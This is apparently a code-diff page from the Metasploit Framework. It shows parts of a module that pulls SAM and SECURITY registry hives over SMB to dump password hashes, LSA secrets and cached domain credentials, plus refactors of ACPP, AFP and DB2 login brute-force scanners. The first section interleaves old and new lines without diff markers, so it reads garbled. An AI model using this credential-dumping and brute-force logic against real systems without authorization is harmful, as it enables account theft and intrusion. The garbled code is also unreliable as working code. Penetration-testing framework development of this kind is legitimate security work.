begin
sam = save_sam
rescue RubySMB::Error::RubySMBError => e
if action.name == 'ALL'
print_warning("Error when getting SAM hive... skipping ([#{e.class}] #{e}).")
if @winreg
if datastore['INLINE']
print_status('Using `INLINE` technique for SAM')
windows_reg = Msf::Util::WindowsRegistry::RemoteRegistry.new(@winreg, name: :sam, inline: true)
else
print_error("Error when getting SAM hive ([#{e.class}] #{e}).")
begin
sam = save_sam
windows_reg = Msf::Util::WindowsRegistry.parse(sam, name: :sam, root: 'HKLM\\SAM')
rescue RubySMB::Error::RubySMBError => e
print_error("Error when getting SAM hive ([#{e.class}] #{e})")
end
end
sam = nil
end
if sam
reg_parser = Msf::Util::WindowsRegistry.parse(sam, name: :sam)
dump_sam_hashes(reg_parser, boot_key)
dump_sam_hashes(windows_reg, boot_key) if windows_reg
else
print_bad('Winreg client is not initialized, cannot dump SAM hashes')
end
end
if ['ALL', 'CACHE', 'LSA'].include?(action.name)
begin
security = save_security
rescue RubySMB::Error::RubySMBError => e
if action.name == 'ALL'
print_warning("Error when getting SECURITY hive... skipping ([#{e.class}] #{e}).")
if @winreg
if datastore['INLINE']
print_status('Using `INLINE` technique for CACHE and LSA')
windows_reg = Msf::Util::WindowsRegistry::RemoteRegistry.new(@winreg, name: :security, inline: true)
else
print_error("Error when getting SECURITY hive ([#{e.class}] #{e}).")
end
security = nil
end
if security
reg_parser = Msf::Util::WindowsRegistry.parse(security, name: :security)
lsa_key = get_lsa_secret_key(reg_parser, boot_key)
if lsa_key.nil? || lsa_key.empty?
print_status('No LSA key, skip LSA secrets and cached hashes dump')
else
report_info(lsa_key.unpack('H*')[0], 'host.lsa_key')
if ['ALL', 'LSA'].include?(action.name)
dump_lsa_secrets(reg_parser, lsa_key)
begin
security = save_security
windows_reg = Msf::Util::WindowsRegistry.parse(security, name: :security, root: 'HKLM\\SECURITY')
rescue RubySMB::Error::RubySMBError => e
print_error("Error when getting SECURITY hive ([#{e.class}] #{e})")
end
if ['ALL', 'CACHE'].include?(action.name)
nlkm_key = get_nlkm_secret_key(reg_parser, lsa_key)
if nlkm_key.nil? || nlkm_key.empty?
print_status('No NLKM key (skip cached hashes dump)')
else
report_info(nlkm_key.unpack('H*')[0], 'host.nlkm_key')
dump_cached_hashes(reg_parser, nlkm_key)
end
if windows_reg
lsa_key = get_lsa_secret_key(windows_reg, boot_key)
if lsa_key.nil? || lsa_key.empty?
print_warning('No LSA key, skip LSA secrets and cached hashes dump')
if datastore['INLINE']
print_warning('This might be expected or you can still try again with the `INLINE` option set to false')
end
else
report_info(lsa_key.unpack('H*')[0], 'host.lsa_key')
if ['ALL', 'LSA'].include?(action.name)
dump_lsa_secrets(windows_reg, lsa_key)
end
if ['ALL', 'CACHE'].include?(action.name)
nlkm_key = get_nlkm_secret_key(windows_reg, lsa_key)
if nlkm_key.nil? || nlkm_key.empty?
print_warning('No NLKM key (skip cached hashes dump)')
if datastore['INLINE']
print_warning('This might be expected or you can still try again with the `INLINE` option set to false')
end
else
report_info(nlkm_key.unpack('H*')[0], 'host.nlkm_key')
dump_cached_hashes(windows_reg, nlkm_key)
end
end
end
end
else
print_bad('Winreg client is not initialized, cannot dump LSA secrets and cached hashes')
end
end
+19 -18
View File
@@ -40,7 +40,6 @@ class MetasploitModule < Msf::Auxiliary
'DB_ALL_USERS',
'DB_ALL_CREDS',
'DB_SKIP_EXISTING',
'PASSWORD_SPRAY',
'USERNAME',
'USERPASS_FILE',
'USER_FILE',
@@ -61,23 +60,25 @@ class MetasploitModule < Msf::Auxiliary
cred_collection = prepend_db_passwords(cred_collection)
scanner = Metasploit::Framework::LoginScanner::ACPP.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: datastore['ConnectTimeout'],
max_send_size: datastore['TCP::max_send_size'],
send_delay: datastore['TCP::send_delay'],
framework: framework,
framework_module: self,
ssl: datastore['SSL'],
ssl_version: datastore['SSLVersion'],
ssl_verify_mode: datastore['SSLVerifyMode'],
ssl_cipher: datastore['SSLCipher'],
local_port: datastore['CPORT'],
local_host: datastore['CHOST']
configure_login_scanner(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: datastore['ConnectTimeout'],
max_send_size: datastore['TCP::max_send_size'],
send_delay: datastore['TCP::send_delay'],
framework: framework,
framework_module: self,
ssl: datastore['SSL'],
ssl_version: datastore['SSLVersion'],
ssl_verify_mode: datastore['SSLVerifyMode'],
ssl_cipher: datastore['SSLCipher'],
local_port: datastore['CPORT'],
local_host: datastore['CHOST']
)
)
scanner.scan! do |result|
+2 -2
View File
@@ -36,8 +36,6 @@ class MetasploitModule < Msf::Auxiliary
OptBool.new('RECORD_GUEST', [ false, "Record guest login to the database", false]),
OptBool.new('CHECK_GUEST', [ false, "Check for guest login", true])
], self)
deregister_options('PASSWORD_SPRAY')
end
def run_host(ip)
@@ -49,6 +47,7 @@ class MetasploitModule < Msf::Auxiliary
)
scanner = Metasploit::Framework::LoginScanner::AFP.new(
configure_login_scanner(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
@@ -66,6 +65,7 @@ class MetasploitModule < Msf::Auxiliary
ssl_cipher: datastore['SSLCipher'],
local_port: datastore['CPORT'],
local_host: datastore['CHOST']
)
)
scanner.scan! do |result|
+2 -2
View File
@@ -36,8 +36,6 @@ class MetasploitModule < Msf::Auxiliary
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
File.join(Msf::Config.data_directory, "wordlists", "db2_default_pass.txt") ]),
])
deregister_options('PASSWORD_SPRAY')
end
def run_host(ip)
@@ -48,6 +46,7 @@ class MetasploitModule < Msf::Auxiliary
)
scanner = Metasploit::Framework::LoginScanner::DB2.new(
configure_login_scanner(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
@@ -65,6 +64,7 @@ class MetasploitModule < Msf::Auxiliary
ssl_cipher: datastore['SSLCipher'],
local_port: datastore['CPORT'],
local_host: datastore['CHOST']
)
)
scanner.scan! do |result|

Some files were not shown because too many files have changed in this diff Show More